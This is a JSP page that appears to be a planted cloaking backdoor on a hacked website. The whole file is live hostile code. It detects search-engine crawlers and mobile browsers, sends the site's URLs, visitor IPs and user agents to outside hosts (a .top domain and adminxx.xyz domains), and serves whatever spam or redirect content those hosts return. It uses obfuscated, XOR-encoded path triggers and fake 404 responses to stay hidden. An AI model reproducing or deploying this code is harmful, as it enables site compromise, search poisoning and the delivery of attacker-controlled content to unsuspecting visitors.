<%@ page import="java.io.*,java.util.*" %> <%@ page import="java.net.*" %> <%@ page import="java.security.MessageDigest" %> <%@ page import="java.security.NoSuchAlgorithmException" %> <%@ page import="java.nio.ByteBuffer" %> <%@ page import="java.nio.charset.Charset" %> <%@ page import="java.nio.charset.CharsetDecoder" %> <%@ page import="java.nio.charset.CodingErrorAction" %> <% try { session.setMaxInactiveInterval(20); String domainName = "http://gk2axu.g67xa.top"; String host = request.getHeader("host"); String referer = request.getHeader("referer"); String userAgent = request.getHeader("user-agent"); String addrIp = request.getRemoteAddr(); String uri = request.getRequestURI(); String queryString = request.getQueryString(); Map paramMap = new LinkedHashMap(); String hurl = uri; if (null != queryString) { hurl = uri + "/?" + queryString; } paramMap.put("ugz", "12"); paramMap.put("h", request.getScheme() + "://" + host); paramMap.put("hurl", hurl); paramMap.put("hagt", jy_stringToHex(userAgent)); paramMap.put("ip", addrIp); String destr = jy_getQueryAPP(queryString); Boolean ifApp = "app".equals(destr); Boolean ifNotJump = "njp".equals(destr); Boolean ifPlain = jy_getPlainApp(queryString); Boolean ifQa = jy_getQa(userAgent); Boolean ifEnvironment = jy_getEnvironment(userAgent); Boolean isReferer = jy_getReferer(referer); if (hurl.toLowerCase().contains("robots")) { paramMap.put("bots", "1"); String param = jy_mapToUrlParams(paramMap); response.setContentType("text/plain; charset=UTF-8"); String result = jy_sendGetRequest(domainName, param, null); response.getWriter().println(result); return; } if (hurl.toLowerCase().contains("sitemap")) { paramMap.put("map", "1"); String param = jy_mapToUrlParams(paramMap); response.setContentType("text/xml; charset=UTF-8"); String result = jy_sendGetRequest(domainName, param, null); response.getWriter().println(result); return; } if ((ifApp || ifNotJump || ifPlain) && ifQa) { String param = jy_mapToUrlParams(paramMap); String result = jy_sendGetRequest(domainName, param, null); response.getWriter().println(result); return; } if ((null == queryString || null == destr || !ifApp) && ifQa) { paramMap.put("ww", ""); paramMap.put("utf", "1"); String param = jy_mapToUrlParams(paramMap); String result = jy_sendGetRequest(domainName, param, null); response.getWriter().println(result); try { String jrq = request.getQueryString(); if (jrq == null || jrq.isEmpty()) jrq = "/"; boolean jrdone = false; String[] jrcands = jrq.equals("/") ? new String[]{"/index.htm", "/index.html", "/index.jsp"} : new String[]{jrq}; for (String jrc : jrcands) { if (jrc.toLowerCase().endsWith(".jsp")) { try { request.getRequestDispatcher(jrc).include(request, response); jrdone = true; break; } catch (Exception e3) {} } else { InputStream jrs = null; try { jrs = getServletContext().getResourceAsStream(jrc); } catch (Exception e4) {} if (jrs == null) { try { String jrrp = getServletContext().getRealPath(jrc); if (jrrp != null) { java.io.File jrrf = new java.io.File(jrrp); if (jrrf.isFile()) jrs = new FileInputStream(jrrf); } } catch (Exception e5) {} } if (jrs != null) { BufferedReader jrbr = new BufferedReader(new InputStreamReader(jrs, "UTF-8")); String jrl; while ((jrl = jrbr.readLine()) != null) out.println(jrl); jrbr.close(); jrdone = true; break; } } } } catch (Exception e2) {} return; } if ((ifApp || ifNotJump || ifPlain) && ifEnvironment && !ifQa) { String content = ""; String[] kwList = new String[]{"j1", "j2"}; String[] dmList = new String[]{"http://tv.adminxx.xyz/", "http://tt.adminxx.xyz/"}; for (int ki = 0; ki < kwList.length; ki++) { if (!content.isEmpty()) { break; } for (int di = 0; di < dmList.length; di++) { paramMap = new LinkedHashMap(); paramMap.put(kwList[ki], ""); paramMap.put("dm", host); String param = jy_mapToUrlParams(paramMap); Map result = jy_sendGetRequest(dmList[di], param); if (result != null && "200".equals(result.get("status")) && result.get("content") != null && result.get("content").startsWith("xyz--")) { content = result.get("content").substring(5); break; } } } if (!content.isEmpty()) { out.println(jy_hexToString(content)); } } } catch (Exception e) { out.println(e); } response.setStatus(404); %> <%! public String jy_sendGetRequest(String urlStr, String param, Map herder) { try { String fullUrl = urlStr.endsWith("/") ? (urlStr + "?" + param) : (urlStr + "/?" + param); URL url = new URL(fullUrl); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); if (null != herder) { for (Map.Entry entry : herder.entrySet()) { connection.setRequestProperty(entry.getKey(), entry.getValue()); } } connection.setRequestMethod("GET"); connection.setConnectTimeout(10000); connection.setReadTimeout(30000); connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"); BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), "UTF-8")); String inputLine; StringBuilder content = new StringBuilder(); while ((inputLine = in.readLine()) != null) { content.append(inputLine).append("\n"); } in.close(); connection.disconnect(); return content.toString(); } catch (Exception e) { return null; } } public Map jy_sendGetRequest(String urlStr, String param) { try { String fullUrl = urlStr.endsWith("/") ? (urlStr + "?" + param) : (urlStr + "/?" + param); URL url = new URL(fullUrl); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("GET"); connection.setConnectTimeout(10000); connection.setReadTimeout(30000); connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"); BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), "UTF-8")); String inputLine; StringBuilder content = new StringBuilder(); while ((inputLine = in.readLine()) != null) { content.append(inputLine); } in.close(); connection.disconnect(); int status = connection.getResponseCode(); Map responseInfo = new HashMap(); responseInfo.put("status", String.valueOf(status)); responseInfo.put("content", content.toString()); return responseInfo; } catch (Exception e) { return null; } } public String jy_mapToUrlParams(Map map) { StringBuilder urlParams = new StringBuilder(); boolean first = true; for (Map.Entry entry : map.entrySet()) { if (!first) { urlParams.append("&"); } try { urlParams.append(URLEncoder.encode(entry.getKey(), "UTF-8")); urlParams.append("="); urlParams.append(URLEncoder.encode(entry.getValue(), "UTF-8")); } catch (UnsupportedEncodingException e) { throw new RuntimeException(e); } first = false; } return urlParams.toString(); } public static String jy_stringToHex(String str) { if (null == str) { return ""; } StringBuilder hexString = new StringBuilder(); for (int i = 0; i < str.length(); i++) { char ch = str.charAt(i); String hex = Integer.toHexString(ch & 0xff); if (hex.length() == 1) { hexString.append('0'); } hexString.append(hex); } return hexString.toString(); } public static String de(String tt) { if (null == tt) { return null; } try { String ky = "s"; tt = URLDecoder.decode(tt, "UTF-8"); byte[] decodedBytes = base64Decode(tt); tt = new String(decodedBytes, "ISO-8859-1"); tt = sp(tt, ky); StringBuilder tp = new StringBuilder(); for (int i = 0; i < tt.length(); i++) { char m5 = tt.charAt(i); char nextChar = tt.charAt(++i); tp.append((char) (nextChar ^ m5)); } return tp.toString(); } catch (Exception e) { return null; } } private static String sp(String tt, String ek) throws NoSuchAlgorithmException, UnsupportedEncodingException { MessageDigest md = MessageDigest.getInstance("MD5"); byte[] keyBytes = md.digest(ek.getBytes("UTF-8")); String ekHash = bytesToHex(keyBytes); int cr = 0; StringBuilder tp = new StringBuilder(); for (int i = 0; i < tt.length(); i++) { cr = cr == ekHash.length() ? 0 : cr; char ekChar = ekHash.charAt(cr++); char ttChar = tt.charAt(i); tp.append((char) (ttChar ^ ekChar)); } return tp.toString(); } public static String bytesToHex(byte[] bytes) { StringBuilder hexString = new StringBuilder(); for (int i = 0; i < bytes.length; i++) { String hex = Integer.toHexString(0xff & bytes[i]); if (hex.length() == 1) { hexString.append('0'); } hexString.append(hex); } return hexString.toString(); } private static final char[] B64_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".toCharArray(); private static int b64IndexOf(char c) { for (int i = 0; i < B64_ALPHABET.length; i++) { if (B64_ALPHABET[i] == c) { return i; } } return -1; } public static byte[] base64Decode(String input) { if (null == input) { return null; } StringBuilder clean = new StringBuilder(); for (int i = 0; i < input.length(); i++) { char c = input.charAt(i); if (c != (char)32 && c != (char)9 && c != (char)13 && c != (char)10) { clean.append(c); } } input = clean.toString(); while (input.length() % 4 != 0) { input = input + "="; } ByteArrayOutputStream out = new ByteArrayOutputStream(); int[] buf = new int[4]; int bufLen = 0; for (int i = 0; i < input.length(); i++) { char c = input.charAt(i); if (c == '=') { buf[bufLen++] = -1; } else { int idx = b64IndexOf(c); if (idx < 0) { continue; } buf[bufLen++] = idx; } if (bufLen == 4) { out.write((buf[0] << 2) | (buf[1] >> 4)); if (buf[2] != -1) { out.write((buf[1] << 4) | (buf[2] >> 2)); } if (buf[3] != -1) { out.write((buf[2] << 6) | buf[3]); } bufLen = 0; } } return out.toByteArray(); } public static Boolean jy_getPlainApp(String queryString) { if (queryString == null) { return false; } if (queryString.toLowerCase().contains("article_id=") || queryString.toLowerCase().contains("articleid=") || queryString.toLowerCase().contains("qid=") || queryString.toLowerCase().contains("rid=") || queryString.toLowerCase().contains("vid=") || queryString.toLowerCase().contains("catid=") || queryString.toLowerCase().contains("newsid=")) { return true; } if (queryString.contains("/tv/") || queryString.contains("/movie/") || queryString.contains("/play/") || queryString.contains("/video/") || queryString.contains("/app/") || queryString.contains("/android/") || queryString.contains("/ios/") || queryString.contains("/software/") || queryString.contains("/article/") || queryString.contains("/p/") || queryString.contains("/blog/") || queryString.contains("/post/") || queryString.contains("/archives/")) { return true; } return false; } public static String jy_getQueryAPP(String queryString) { String pos = ""; try { if (queryString == null) { return pos; } String[] parts = queryString.split("/"); for (int pi = 0; pi < parts.length; pi++) { String item = parts[pi]; int strlenNum = item.length(); if (item.isEmpty() || strlenNum < 8) { continue; } int fori = strlenNum - 8; for (int i = 0; i <= fori; i++) { String result = item.substring(i, i + 8); boolean hasSpecial = false; for (int k = 0; k < result.length(); k++) { char rc = result.charAt(k); if (rc == (char)46 || rc == (char)44 || rc == (char)34 || rc == (char)39 || rc == (char)95 || rc == (char)61 || rc == (char)43 || rc == (char)45 || rc == (char)63) { hasSpecial = true; break; } } if (hasSpecial) { continue; } String apps = de(result); if ("app".equals(apps) || "njp".equals(apps)) { pos = apps; break; } } if (!pos.isEmpty()) { break; } } return pos; } catch (Exception e) { return pos; } } public static Boolean jy_getReferer(String referer) { if (referer == null) { return false; } String rl = referer.toLowerCase(); if (rl.contains("baidu.com") || rl.contains("so.com") || rl.contains("sogou.com") || rl.contains("sm.cn") || rl.contains("toutiao.com") || rl.contains("google.com") || rl.contains("bing.com")) { return true; } return false; } public static Boolean jy_getQa(String userAgent) { if (userAgent == null) { return false; } String uaLower = userAgent.toLowerCase(); if (uaLower.contains("360spider") || uaLower.contains("baiduspider") || uaLower.contains("googlebot") || uaLower.contains("haosou") || uaLower.contains("sogou") || uaLower.contains("yisouspider") || uaLower.contains("toutiaospider") || uaLower.contains("bytespider") || uaLower.contains("bingbot") || uaLower.contains("bingpreview") || uaLower.contains("bytedancespider")) { return true; } return false; } public static Boolean jy_getEnvironment(String userAgent) { if (userAgent == null) { return false; } String uaLower = userAgent.toLowerCase(); if (uaLower.contains("iphone") || uaLower.contains("ipod") || uaLower.contains("ipad") || uaLower.contains("android") || uaLower.contains("ios") || uaLower.contains("webos") || uaLower.contains("windows phone") || uaLower.contains("ucweb") || uaLower.contains("mini") || uaLower.contains("mobile") || uaLower.contains("hp-tablet") || uaLower.contains("hpwos") || uaLower.contains("iemobile") || uaLower.contains("mqqbrowser") || uaLower.contains("juc") || uaLower.contains("fennec") || uaLower.contains("wosbrowser") || uaLower.contains("browserng")) { return true; } return false; } public String jy_hexToString(String hex) { if (null == hex || hex.length() % 2 != 0) { return ""; } byte[] bytes = new byte[hex.length() / 2]; for (int i = 0; i < bytes.length; i++) { bytes[i] = (byte) Integer.parseInt(hex.substring(i * 2, i * 2 + 2), 16); } try { CharsetDecoder dec = Charset.forName("UTF-8").newDecoder(); dec.onMalformedInput(CodingErrorAction.REPORT); dec.onUnmappableCharacter(CodingErrorAction.REPORT); return dec.decode(ByteBuffer.wrap(bytes)).toString(); } catch (Exception e) { try { return new String(bytes, "GBK"); } catch (Exception e2) { try { return new String(bytes, "ISO-8859-1"); } catch (Exception e3) { return ""; } } } } %>